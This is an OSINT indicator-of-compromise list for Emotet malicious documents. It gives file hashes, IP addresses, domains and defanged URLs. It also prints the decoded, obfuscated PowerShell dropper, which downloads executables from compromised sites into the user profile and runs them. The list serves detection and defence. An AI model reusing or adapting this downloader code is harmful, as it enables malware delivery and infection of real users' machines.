Emotet_Doc_out_2020-01-23_13_24.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
02c9b6b4b98155cab6ce103c9695ea63e13d09504517627af9264db6befc72f3
1af5fad904ee041b3ad2c39b698f08baae418c628cb3d0e784c8a48bf6bcc99e
2a6e8a6d188201bd29e7242c3ccdff15708d8f2019a250bfef9b521b8f7632a6
2c6a91febe2afb34eb4f7d7709534db68dd634bd49d53f67dedf98b309de47d0
368d63a431bc9d979e6ad0775f7327956d973a19119aae25175bae3b42ce1c5d
3fa53223fd2dd7a96813836a7f1e3d34e9e169b8865d8cc09b0c59ad83d600cc
5178730a4899f36768c81e556d23efee93bbfe8fbe4ccf22766e82b7befc8b42
5341dd35c9e22166b8c2e1d13f92c23d4fed2ed0c5a751965b9c7ff16954b925
5fc5b0f1165fd1d3c8d8143b5ba08e4ab2b38f7a7d2d4e68bb454d0f14272414
61e1ca2de1ccf80c3328d86303033a1c16059ba6f28aeead0775270eeb0084ea
62f1c9d97c5ac28cf7fea95de45bbec933af7302d446ec19703f9a42fd10e39a
6604e82045123f01874ddb59568b7e07f82abfbd0772d378a96e80befafc7568
6a56acd0338b10fd038b791c1c9d4d52407dc6ec4cb9ff8ea1d1d947577cab8d
6e45a9ae91897bec6b4aaf8f30420016e4f6875e176f032b00102a67f94ed9a1
6f918c3d45f646214e24ebe3983abc8e13082347c24bdc98b8cc6b7a83bc6d81
71cd57b2daded2a807a9c88f8c434a9864e4ac00a0da31379301d0520e18248a
7338ebc7bcfb6ba4ad794dff86ff016c035b9a58d085aac23cbd245fb3648edc
73ae92b67a773aeb211f7520d6d98ff0b4f01babd23ad51535129e1c09c78e97
7d0c958bf7c219e0266a06bea736a383b343fac7daa429b51838eec2209f915c
9427d73b07072cd1d695e66298321cad7871ffae6c001fc9f31e6788a03d4c36
97e30189b2d55dda8919c75177d0ef9f6a7922a82a9d14b90f334d3a04a281ab
ab4c10387090cd97e24114fc4599ae53c899e07ceb660545a7c0cab63f851f17
b5d3d28c7cf031aca9149a40e293973df4908b797894f03fbcb558fb2c7878c4
b701032552279b5f2b6d7bbb2d07714f6bc5d8df2b576aa4866d73213eda9ece
b719fe6775a43df4cc11ea66ffbb5923fd8fb3323fe1bacff9bafe830eff8658
cd0b37c7d86e823a86a0c3481f963536eb636dfc912cc89994bc7f4c953ad107
d837e0d81f86c248bd058c650651287bf73ad1eceb71dfca100d97cd961da665
e0debf0630ee4adbf159500c72097a90a6cd47bf19dc3171449b7fd1725d68af
e3c19433848a0b0023963e05496e09744003119af344985daad6a614cebfb1b4
e496b0a275394c2b127982acbd0055028dc00db8588090400a4920535eb52de7
f06c02a15972b8073772d96b41f7f250a19e1508b276baad5facd9ec10887290
f0a4a172dc288207dbb3f0e79647f7f4beb18d03183c89bb1fffb08314171635
f75f5ef85a0dadf3b3638fdb0bcfc386aae3792bc1b9104f15e1264d56b1254b
fc773cf06e152ed17163d7ba3dc48b5b05c54140859618dccfd2f332171bf735



IPs:
107.180.51.33
177.103.157.126
184.154.190.82
190.63.7.166
190.8.176.227
192.185.134.61
198.57.180.136
198.71.233.68
203.45.161.179
45.79.223.161
67.52.113.14
70.39.146.209
75.114.235.105
99.229.254.209


Domains:
drrobertepstein.com
hawkeyesss.com
lowryh2o.com
marcelsourcing.com
senteum.com
sintrenalsantander.org
surjacorp.com
www.oasineldeserto.info


URLs:
hxxp://marcelsourcing.com/wp-content/18/
hxxp://sewaseminar.djamscakes.com/wp/VwmLttEtdN/
hxxp://gk725.com/6dn/ekeh/
hxxps://behfarmer.com/wp-admin/yxFB5/
hxxps://blog.anytimeneeds.com/wp-content/kc/
hxxp://surjacorp.com/logs/ANA26829/
hxxp://lowryh2o.com/cli/VJor/
hxxps://drrobertepstein.com/music/7yb5TCo/
hxxp://sintrenalsantander.org/documentos/A7LpP/
hxxp://senteum.com/wp-admin/CLj/
hxxp://hawkeyesss.com/wp-content/r3d3hdjgnc-om4bkcvea-3543/
hxxp://lookings.in/blog/xGJncTpch/
hxxp://developer.md-partners.co.jp/UI/doCYRSxq/
hxxp://e-twow.es/wp-content/dJilYkPOF/
hxxp://bjenkins.webview.consulting/writer/3r09yemm-0uxjh-3049/
hxxp://www.oasineldeserto.info/mio/BwRux1dn/
hxxp://icanpeds.com/modules/xhdo6h/
hxxp://alexbase.com/plugins/gqwgr/
hxxp://tkaystore.com/components/I5y/
hxxp://kueproj.linuxpl.eu/pax3hdtv/7qj/


Decoded Base64 Powershell:
$Arsiujfwh='Umtxobvuduuem';
$Uunayotex = '186';
$Oufxisvxivm='Khekyzbgb';
$Yaovvopd=$env:userprofile+'\'+$Uunayotex+'.exe';
$Icakgngepsrb='Nbqwotoupsnpt';
$Wdhdzhmas=&('n'+'ew-ob'+'ject') NeT.webClIENT;
$Zcqnrxcwr='hxxp://marcelsourcing.com/wp-content/18/
hxxp://sewaseminar.djamscakes.com/wp/VwmLttEtdN/
hxxp://gk725.com/6dn/ekeh/
hxxps://behfarmer.com/wp-admin/yxFB5/
hxxps://blog.anytimeneeds.com/wp-content/kc/'."SPL`It"([char]42);
$Djmumogsk='Pimmtfckkxkk';
foreach($Ygmgyrrnizbg in $Zcqnrxcwr){try{$Wdhdzhmas."DOW`NL`oADfI`LE"($Ygmgyrrnizbg, $Yaovvopd);
$Eomhxrtry='Ehpkgiffse';
If ((.('Get-'+'Item') $Yaovvopd)."L`e`NgTH" -ge 24199) {[Diagnostics.Process]::"sTA`Rt"($Yaovvopd);
$Zimidhsz='Iatlnzbxjac';
break;
$Nadpefubygihp='Nrskfsgknx'}}catch{}}$Qgvhakkzi='Otenjtkdyuqk'$Lxapnkxougugi='Ohfstoor';
$Vtrczwhu = '54';
$Hllbnrzzdrhpw='Zckfpkgalpb';
$Mzypphekrmox=$env:userprofile+'\'+$Vtrczwhu+'.exe';
$Kxgyirdlc='Dgihlgrjlepl';
$Basuvhxeg=.('ne'+'w-ob'+'jec'+'t') nEt.webclIENT;
$Gbqdjlzsbgfha='hxxp://surjacorp.com/logs/ANA26829/
hxxp://lowryh2o.com/cli/VJor/
hxxps://drrobertepstein.com/music/7yb5TCo/
hxxp://sintrenalsantander.org/documentos/A7LpP/
hxxp://senteum.com/wp-admin/CLj/'."s`pLIt"([char]42);
$Rmalammospgli='Ddwjsbibz';
foreach($Lqjfcmjbbpyol in $Gbqdjlzsbgfha){try{$Basuvhxeg."DOW`N`loAdfILE"($Lqjfcmjbbpyol, $Mzypphekrmox);
$Xrqcvlzcr='Acggpota';
If ((.('G'+'et-Item') $Mzypphekrmox)."l`ENG`Th" -ge 39792) {[Diagnostics.Process]::"ST`ArT"($Mzypphekrmox);
$Dibsbouikb='Puxquulfoaac';
break;
$Lmuiyphl='Acjliiubd'}}catch{}}$Mrxzforwdiy='Chocchodgpprl'$Umapficszxei='Extzewfw';
$Oqmfepvldj = '497';
$Hfsqelrrwyhl='Dbnmqmdx';
$Pbxostldgmd=$env:userprofile+'\'+$Oqmfepvldj+'.exe';
$Ysdeimxzlx='Kbummqlf';
$Bnejkbfc=.('new-obje'+'c'+'t') nEt.webcLient;
$Esrskepnffw='hxxp://hawkeyesss.com/wp-content/r3d3hdjgnc-om4bkcvea-3543/
hxxp://lookings.in/blog/xGJncTpch/
hxxp://developer.md-partners.co.jp/UI/doCYRSxq/
hxxp://e-twow.es/wp-content/dJilYkPOF/
hxxp://bjenkins.webview.consulting/writer/3r09yemm-0uxjh-3049/'."SP`LIt"([char]42);
$Fybvsjwcnk='Smhmijaiz';
foreach($Ixgrakibedmjh in $Esrskepnffw){try{$Bnejkbfc."dOWnl`O`A`Dfile"($Ixgrakibedmjh, $Pbxostldgmd);
$Zqlreznl='Mmfdnuocjjo';
If ((&('Get-'+'Ite'+'m') $Pbxostldgmd)."lEn`gth" -ge 39240) {[Diagnostics.Process]::"st`ArT"($Pbxostldgmd);
$Iezhcfolow='Grscazktf';
break;
$Jvomfqho='Cjzagioybyi'}}catch{}}$Nwkhjpojd='Qlntjvhh'$Vwkpdnfbnhkn='Xlvoujtve';
$Pvxwiroggo = '198';
$Hfejuytqje='Zhxtyhlk';
$Amnjfavsdvc=$env:userprofile+'\'+$Pvxwiroggo+'.exe';
$Udlrtkyz='Nqfzwdnmu';
$Pvvxegfdplqm=.('n'+'ew-ob'+'ject') Net.weBcLIEnT;
$Udiwasmx='hxxp://www.oasineldeserto.info/mio/BwRux1dn/
hxxp://icanpeds.com/modules/xhdo6h/
hxxp://alexbase.com/plugins/gqwgr/
hxxp://tkaystore.com/components/I5y/
hxxp://kueproj.linuxpl.eu/pax3hdtv/7qj/'."sP`LIT"([char]42);
$Tzspmlawxtsag='Ydejrkmf';
foreach($Rpmnhtaajpx in $Udiwasmx){try{$Pvvxegfdplqm."dOWN`LOad`FiLe"($Rpmnhtaajpx, $Amnjfavsdvc);
$Bywvuyqtd='Tchyycul';
If ((&('Get-It'+'em') $Amnjfavsdvc)."le`NgTH" -ge 36527) {[Diagnostics.Process]::"St`Art"($Amnjfavsdvc);
$Oufjikbngtcgk='Bdvbgdjy';
break;
$Xlthsuts='Bpkqfspvjq'}}catch{}}$Kvbrqtjvewail='Gnziohebl'